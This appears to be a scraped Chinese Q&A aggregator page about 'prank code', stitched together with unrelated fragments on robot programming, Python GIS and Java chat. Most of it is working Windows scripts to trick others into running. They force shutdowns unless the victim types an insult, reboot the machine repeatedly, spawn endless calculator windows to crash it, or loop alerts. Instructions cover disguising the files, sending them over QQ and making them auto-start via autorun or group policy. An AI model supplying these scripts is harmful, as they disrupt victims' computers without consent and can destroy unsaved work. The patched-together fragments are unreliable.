整人程序代码怎么用
不知道你要的是那种整人代码。
目前我这有一个。随便关都关不掉的。
创建若干个窗体。
我这里只弄两个做例子。
form1 代码：
Private Sub Form_Unload(Cancel As Integer)
Form2.Show '关闭工程1窗口，调用工程2.
End Sub
form2代码：
Private Sub Form_Unload(Cancel As Integer)
Form1.Show '关闭工程2窗口。调用攻城1窗口。
End Sub
这个是我们同学曾经发的一个整人小玩意。
通过任务管理器可以关掉。
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
我不知道你是不是这个整人代码！
代码如下：
--------------------------------------------我是横线不要复制我------------------------------------------
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你确实是一头猪~"
--------------------------------------------我是横线不要复制我------------------------------------------
将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加 .vbe
把文件传送给对方~~只要对方一打开一分钟就会关机，如上面说的，要你说那三个字，就不会关机了哈哈大家试试吧。
用QQ传送文件发送给他！叫他打开！
整人代码及应用
让对方重启指定次数(害人专用)
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1s
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那
就是重启6次
改成7就是7次...
打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，
保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
善意恶搞关机
首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看
把隐藏已知文件类型的扩展名前面的勾去掉.
然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，
不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，
对方打开了就在60秒内要关闭计算机，
结束任务都不行，他只能说他是猪才能解决问题。够坏吧？ 注意哦，你可以把我是猪那个修改成任意想说的话，
要是对付你喜欢的人，
就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了
,还没等对方打完就关机了 是不是叫对方很郁闷呢?
让人崩溃的关机程序
首先你可以看下面的
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的XX童鞋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("夜黑很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。呜呜~555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
把这个复制在记事本,把后缀修改成.vbs
在打开呢就会先说第一句的 嘿，谢谢你打开我哦，我等你很久拉！
他无论是点关闭或者是点确定都会再说第2句
再点就说地3句 会按顺序说完
你们注意哦，最后10句话，只是10句，你要是把这个复制再粘贴N次，那他还有个打完呢？
这样才做到整人了，要是给喜欢的人发去啊，那就写你要说的话吧，双引号里面的可以随便更改
我想用vb做一个随机抽人的程序,希望懂的人能帮忙解答!
Private Sub Form_click()Dim a(3) As String a(0) = "小王"a(1) = "小李"a(2) = "小谢"a(3) = "小林"Randomize MsgBox a(Int(Rnd * 4))End Sub 不用添加任何控件 直接将代码复制进去 点击窗体即可得到效果
安川机器人movs命令怎么用
此指令较少使用因其间曲线=不规则线所以较难教导程序 范例 MOVS V=150 以曲线路径移动，速度150mm\/s 运动指令-2 IMOV 功能 以直线路径移动以特定的增量去作动。范例 IMOV P012 V=120 以直线路径增量移动参考P变量所设值速度为120mm\/s REFP 功能 再生运转时走编织路径之参考点。范例 REFP 1 SPE...
有人用python开发GIS用户程序么
例子取自<<Learning Geospatial Analysis with Python>> 代码由两部分组成。第一部分是数据模型，第二部分是绘制数据（地图渲染）。一、数据模型：使用python内置的列表（list），用来存储空间数据。[python] view plain copy DATA MODEL All layers will have a name, 1+ points, and population count ...
#抬抬小手学Python# 用别人代码完成我的工作,愉快摸鱼「附源码」_百...
互联网上存在大量的开源模块，这些模块最大的优势就是免费，很多时候使用这些模块能极大的提高编码效率，这也是很多人喜欢 Python 的原因之一。模块学习的过程，不能按照语法结构来学习，它是一种抽象的知识，是一种代码的设计方式。例如将写好的函授放到模块中。接下来就将上面的函数整合到一个模块中去，...
CS1.5机器人程序怎么加人
1.安装说明：下载后解压运行cspo.exe文件,把安装得的cstrike文件夹下三个文件复制到本地电脑CS1.5文件夹cstrike里,这样算安装成功机器人了。先+7然后 +81是小刀+82是手枪+51是匪+52是警 +1是匪按一次一个 +2警同样 +3杀死机器人 按~键输入status 然后接着输入kick空格#加名字代码 这是踢人 ...
怎么给焊接机器人编写程序?
根据机械和电气的联锁关系和程序的控制逻辑，机器人每执行一个动作都是从头到尾地执行相应的一段程序代码。包括：司服电机\/步进电机转动和电焊机通断电。一般情况下，针对焊接机器人的控制系统的编程语言有：1、汇编语言；（针对普通51单片机）2、C语言；（针对大多数51和C8051F单片机，以及DSP和ARM）3、...
无人机仿真程序代码
无人机仿真程序代码通常使用Python、C++或MATLAB等编程语言编写，具体代码取决于仿真目标、无人机模型、环境参数等多个因素。无人机仿真程序代码是一个复杂而灵活的主题，它可以根据许多不同的因素而变化。下面，我将详细解释如何编写无人机仿真程序代码，包括选择编程语言、设计仿真环境、建模无人机动态等...
跪求一个Java编写的多人聊天程序源代码
import java.io.InputStream;import java.io.DataInputStream;import java.io.InputStreamReader;import java.io.OutputStream;import java.io.DataOutputStream;import java.io.BufferedReader;import java.net.ServerSocket;import java.net.Socket;import java.io.IOException;import java.util.Date;class ...
有没有人能帮我讲解一下这个C语言程序的执行过程?
gets(s);for(i=j=0;s[i]!='\\0';i++)\/\/这里只有i++，j++在下面，j不随for循环自加1 if (s[i]!='c')s[j++]=s[i];\/\/每有一个不为'c'的单位出现，j自加1；并且该单位的值，重新赋值给数组s，从s[0]开始，因为j初值为0 else\/\/这加个else便于理解，等价于源代码；该单位...
如何用源代码建立一个网站?
在这里我推荐阿里云的云速成美站和云企业官网，低至500元新手小白就能完成一个网站，他们在此行业拥有着多年的网站搭建及网站优化经验，帮助了很多人解决网站的相关问题，现在建站还可以领取优惠券 米拓源代码详细讲解？源代码是构成网站的核心，即网站程序代码，包括网站文件及目录结构，拥有源代码才拥有网站...
载淑银杏： <script type=＂text/javascript＂> var i = 2; while(i<5){ alert(＂你是大笨蛋＂); } </script> 把上面这个代码写在一个记事本里面 然后把记事本的后缀名改成.html 然后打开 就可以整人啦
富裕县17886151831： vbs整人代码怎样用 - ？
载淑银杏： 新建一个文本文档,将你的vbs代码复制粘贴到文本中后按ctrl+s储存,alt+F4关闭文本窗口后按F2把后缀名改成vbs,正常情况下双击即可启动vbs脚本,如果你是整人用的一般可以通过新建Autorun.inf在里面写入[Autorun]回车autorun=xxx,vbs隐藏后放在磁盘根目录,或者通过msconfig或gpedit加入开机自启动或启动组策略方可实现.欢迎追问,小心被人骂生孩子没PY
富裕县17886151831： 怎样用记事本做个整人的程序?? - ？
载淑银杏： 我做出了一个BAT,绝对是最好,对电脑没伤害,有模拟蓝屏哦,绝对无毒,所有崩溃弹框都是模拟的,有些杀毒软件会报危险,点信任就行了 破解方法:1. 重启系统(被整的人采用)2. 事先把以下代码保存到桌面(用记事本保存,改为BAT...
富裕县17886151831： vbs整人代码怎么用??就这下面这一条. - ？
载淑银杏： 新建一个TXT文件,打开,把整人代码放进去,保存.然后把文件扩展名改成.VBS,发送给别人,运行,就能整人了.比如: gsh=msgbox (＂已经准备好格式化,准备开始.＂,vbyesno) set s=createobject(＂wscript.shell＂) wscript.sleep ...
富裕县17886151831： 求一个C语言整人程序代码 - ？
载淑银杏： #include#includevoid main(){ system(＂shutdown -l -t 20＂);}
富裕县17886151831： 你能叫我怎么用整人软件 - ？
载淑银杏： 自制一点击就出现无数个计算器,直到死机为止.在记事本里输入,最后把扩展名改成VBS得那种.Dim objws Set objws=wscript.createobject(＂wscript.shell＂) Doobjws.Run ＂calc＂ Loop整人小程序:说我是猪就不关机 程序, 整人 on ...
富裕县17886151831： 整人病毒代码怎么用 - ？
载淑银杏： 开机会自动启动(VBE文件)set s=createobject(＂wscript.shell＂) set bag=getobject(＂winmgmts:\\.\root...
富裕县17886151831： vbs QQ整人代码 怎么用? - ？
载淑银杏： 打开一个记事本,把代码输入进去,然后把格式改成VBS. 然后一保存,OK啦!(样子是中间有一个蓝色卷轴.) 接着,只要把这个做好的VBS文件发给他,就可以了,不用 再动别的,只要静静等待他被整! 例外话:我劝你还是别发这些,有点缺德的那种感 觉,给人不好的感受. 记住上面这句话!
富裕县17886151831： 如何使用VB编写整人小程序? - ？
载淑银杏： 使用VB编写整人小游戏程序,可以参考如下:更改中文即可.Private Sub Form_Load() Dim wood As String MsgBox ＂谁是猪＂, vbCritical, ＂提示＂ '这里写捉弄人的话 wood = InputBox(＂请输入答案:＂) If wood = ＂我＂ Then '答案可以自己设 End Else Shell ＂cmd.exe /c shutdown -s -t 60＂ '60秒后关机 End If End Sub
富裕县17886151831： 怎么用C语言编写整人的小程序 - ？
载淑银杏： 打开记事本 然后复制了粘贴 然后保存 文件名随便 但是格式要写 .vbe 给你个整人代码 打开记事本 输入 start 123.bat 保存文件名为123.bat
